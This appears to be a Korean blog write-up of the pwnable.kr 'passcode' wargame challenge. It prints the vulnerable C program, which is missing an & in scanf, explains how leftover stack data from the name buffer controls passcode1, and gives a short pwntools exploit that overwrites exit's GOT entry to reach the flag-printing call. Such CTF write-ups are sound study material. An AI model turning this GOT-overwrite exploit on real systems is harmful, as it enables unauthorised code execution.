[pwnable.kr] passcode - 10 pt

2018. 5. 28. 15:51


이번에 풀어볼 녀석은 이 달걀 껍질을 쓴 새?같은 녀석이다.



문제는 위와 같다. C code 컴파일할때 에러없이 컴파일 되지만, warning을 표시해준다고 하는데 , 먼저 접속해서 무슨 파일들이 주어지는지 확인해보자.



위와 같은 파일들이 주어지고, flag 권한을 보아 passcode를 이용해서 flag를 봐야할것같다.

소스파일을 보면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
        }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
 
cs


위와 같은 소스를 컴파일하면 컴파일은 되지만 경고메세지를 출력해준다. 

scanf를 사용할 때 포맷을 잘못설정해서 이러한 경고메세지를 띄워주는데, 그래도 컴파일은 되는 것을 볼 수 있다.



경고메세지가 뜨는 이유는 scanf("%d", passcode)에서 &가 빠진것때문이다. 이렇게 컴파일하면 scanf로 받은 정수값이 저장되는 장소는 passcode의 변수값을 주소로하는 곳이다. &를 붙여주면 passcode의 주소값이 scanf의 인자로 들어가 passcode에 입력받은 정수값이 저장되지만, 여기서는 &를 붙여주지않아 passcode의 값이 scanf의 인자로 들어가 passcode의 값을 주소로하는 곳에 정수값이 저장되게된다.


그래서 뭐 저 scanf가 있는 login()함수에서는 입력한 값이 어디 저장되는지 몰라서 segment fault가 계속 뜨게된다.(아마 쓸수없는 메모리영역에 자꾸 쓰려해서 죽는듯...)

그래서 login()함수 전에 나오는 welcome()함수를 보면 사용자로부터 100자를 입력받는데, 여기에 login 함수에 영향을 미치는 부분이 있다.



welcome에서는 ebp-0x70에서 scanf로 입력받은 값을 저장한다.




login에서는 ebp-0x10의 장소에 passcode의 값이 들어가 있는데, welcome에서 "A"를 100개 입력하고 보면 passcode변수의 값이 덮여써져있는 것을 볼 수 있다.



위와같이 "A" 100개 입력으로 ebp-0x10의 영역이 덮인것을 볼 수 있다.

그렇다면 welcome함수에서 "A"* 96개와 나머지 4바이트를 써 passcode1 변수값을 덮을 수 있고, passcode1의 변수값이 scanf의 인자로 들어가므로

got overwrite를 할 수 있다. 그럼 우리는 위 프로그램의 흐름을 조종하여  system("/bin/cat flag"); 을 실행하게 할 수 있다.



어느 함수를 overwrite할까 하다가 exit함수의 got를 system("/bin/cat flag"); 가 있는 곳으로 덮어쓰우기로 했다.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import string
 
conn = process("/home/passcode/passcode")
 
conn.sendline("A"*96+"\x18\xa0\x04\x08")
conn.sendline("134514135"# 0x080485d7
conn.sendline("trash!")
 
conn.interactive()
 
cs


exit함수의 got를 if문을 무사히 통과한 주소로 덮어씌우는 코드...

scanf에서 %d로 입력받으므로 정수값으로 주소값을 전달해줬고, passcode2에 정수값을 입력하면 세그먼트폴트가 뜨기때문에 문자열을 넣어 패스해줬다.



굿굿

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26
[pwnable.kr] coin1 - 6 pt  (0) 2018.05.15

+ Recent posts